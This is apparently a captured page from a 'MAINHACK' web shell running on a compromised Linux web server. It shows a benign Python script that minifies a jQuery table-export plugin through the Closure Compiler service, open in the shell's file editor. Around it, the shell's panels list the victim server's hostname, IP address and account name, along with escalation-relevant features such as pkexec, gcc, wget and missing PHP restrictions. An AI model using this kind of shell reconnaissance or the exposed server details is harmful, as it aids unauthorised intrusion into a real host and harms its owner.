[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: minify2.py
#!/usr/bin/python2 # Minify tableExport.jquery.plugin file(s) # using Simon Georget's python script to minify javascript files # https://github.com/simogeo/Filemanager/blob/master/utils/minify.py # Usage : $ python ./tools/minify.py class bcolors: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' def disable(self): self.HEADER = '' self.OKBLUE = '' self.OKGREEN = '' self.WARNING = '' self.FAIL = '' self.ENDC = '' import httplib, urllib, sys, os fmRootFolder = os.path.dirname(os.path.dirname(os.path.realpath(__file__))) + "/" os.chdir(fmRootFolder) # set working directory toMinify = ["tableExport.js"] print bcolors.HEADER + "-------------------------------------" + bcolors.ENDC # we loop on JS languages files for index, item in enumerate(toMinify): # print index, item dir = os.path.dirname(item) file = os.path.basename(item) with open (fmRootFolder + item, "r") as myfile: js_input=myfile.read() # Define the parameters for the POST request and encode them in # a URL-safe format. params = urllib.urlencode([ ('js_code', js_input), # ('compilation_level', 'WHITESPACE_ONLY'), ('compilation_level', 'SIMPLE_OPTIMIZATIONS'), ('output_format', 'text'), ('output_info', 'compiled_code'), ]) params2 = urllib.urlencode([ ('js_code', js_input), # ('compilation_level', 'WHITESPACE_ONLY'), ('compilation_level', 'SIMPLE_OPTIMIZATIONS'), ('output_format', 'text'), ('output_info', 'errors'), ]) # Always use the following value for the Content-type header. headers = { "Content-type": "application/x-www-form-urlencoded" } conn = httplib.HTTPConnection('closure-compiler.appspot.com') conn.request('POST', '/compile', params, headers) response = conn.getresponse() data = response.read() # we write the minified file - os.path.splitext(file)[0] return filename without extension with open(fmRootFolder + dir + '/' + os.path.splitext(file)[0] + ".min.js", "w") as text_file: text_file.write(data) # We retrieve errors conn.request('POST', '/compile', params2, headers) response = conn.getresponse() errors = response.read() if errors == "": print bcolors.OKBLUE + file + " has been minified. No error found." else: print bcolors.FAIL + file + " : the code contains errors : " print "" print errors + bcolors.ENDC conn.close() print bcolors.HEADER + "-------------------------------------" + bcolors.ENDC
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.55 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002